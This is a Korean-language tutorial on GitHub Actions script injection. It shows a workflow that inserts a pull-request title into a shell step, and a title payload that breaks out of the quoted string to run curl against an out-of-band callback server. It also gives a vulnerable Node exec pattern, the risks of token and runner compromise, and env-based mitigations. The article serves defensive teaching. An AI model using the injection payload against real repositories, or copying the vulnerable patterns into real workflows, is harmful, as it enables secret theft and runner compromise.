Github-Action Injection

Introduction

Github actions에서 사용자가 작성하는 workflow, 개발자가 제공하는 custom actions에서 사용자 입력 값에 대해 정확하게 검증하고 사용하지 않으면 Command Injection의 가능성이 존재하게 됩니다. 일반적으로 Github action injection, Github action script injection 등으로 불립니다.

Example code

  - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

위와 같이 github.event.pull_request.title로 Pull Request의 Title을 Workflow에서 직접 사용하는 경우 아래와 같은 제목으로 공격이 가능합니다.

Workflow 코드에선 변수 값이 그대로 삽입되기 때문에 아래와 같은 코드로 치환됩니다. 그러면 curl이 string 내부에 있는게 아니기 때문에 명령으로 실행됩니다.

  - name: Check PR title
        run: |
          title=""; curl <OAST-SERVICE>; ""
          if [[ $title =~ ^octocat ]]; then
          ...

Actions > Workflow 에 들어가서 로그를 보면 curl 명령이 실행된 것을 볼 수 있습니다.

그리고 실제로 OAST 서비스로 DNS Query와 HTTP Request로 도착한 것을 볼 수 있죠.

위에 대한 실제 데이터는 아래 링크에서 확인하실 수 있습니다.

Risk

Public github

Public Githubd에선 github의 runner가 사용되기 떄문에 실제로 코드 동작은 github 쪽 서버에서 일어나게 됩니다. 다만 workflow 동작을 위해 secret 등 도 runner에 내려오기 때문에 공격자가 단순히 명령 실행을 통해 github에 문제를 발생시키기 보단 토큰 탈취나 중요정보를 탈취하는데 포커스가 높습니다.

Enterprise github

Enterprise github에서는 runner가 enterprise 사용자일 가능성이 높기 때문에 서버 탈취에 관련된 이슈, 그리고 workflow 동작 전 checkout 등을 통해 코드를 내려받는 경우가 높은데, 이런 형태로 사용될 경우 내부 코드 탈취 등의 이슈가 존재합니다. 신뢰할 수 없는 코드를 실행할 수 있기 때문에 잘 체크되어야 합니다.

Self-hosted runner

Public, Enterprise 모두 Self-hosted runner 사용이 가능합니다. 이 때 당연히 Runner를 운영하는 사용자의 서버를 대상으로 공격이 일어날 수 있기 떄문에 해당 관점에서 리스크가 높습니다.

Offensive techniques

Detect

Workflow

사용자가 workflow 구성 시 외부에서 입력 값을 받아 run 으로 처리하는 경우 취약합니다.

  - name: Check PR title
        run: |
            title="${{ github.event.pull_request.title }}"
            if [[ $title =~ ^octocat ]]; then
            ...

Custom Actions

Action 내부에서 shell exec 하는 구간 중 외부로 부터 입력 값을 받아 반영하는 구간은 잠재적으로 모두 취약합니다. 일반적인 RCE 취약점의 코드 패턴과 유사합니다.

const { exec } = require("child_process");

exec(userValue, (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.log(`stderr: ${stderr}`);
        return;
    }
    console.log(`stdout: ${stdout}`);
});

Defensive techniques

In workflow

Change to actions’s input

Workflow에선 가급적이면 외부에서 입력 값을 받지 않는 것이 좋습니다. 가능하다면 Action을 만들어서 해당 Action의 Input으로 전달시켜 이를 run에서 꺼내 재 사용하거나 코드단에서 처리하는 것이 좋습니다.

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Change to env

위와 유사한 방법으로 run에 직접 값을 넣지 않고 env를 거쳐서 처리하는 방법도 있습니다. 이러한 경우 run으로 인한 쉘 스크립트 생성에 관여하지 않기 때문에 injection을 완화할 수 있습니다.

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          ...

In Action

Action 내부에서 사용자 입력 값을 처리하는 과정에서 shell execute 등의 동작이 있는 경우 사용자 입력 값을 검증한 후 처리하는 것이 좋습니다.

const { exec } = require("child_process");

exec(escapeChar(userValue), (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.log(`stderr: ${stderr}`);
        return;
    }
    console.log(`stdout: ${stdout}`);
});

Tools

References

  • https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections
  • https://github.com/hahwul/github-aciton-injection-test/pull/1
  • https://github.com/hahwul/github-aciton-injection-test/runs/6537735592?check_suite_focus=true
  • https://github.com/hahwul/github-aciton-injection-test/blob/9a7ec16a7cff8132ac080a16a41c521b7a42f880/.github/workflows/blank.yml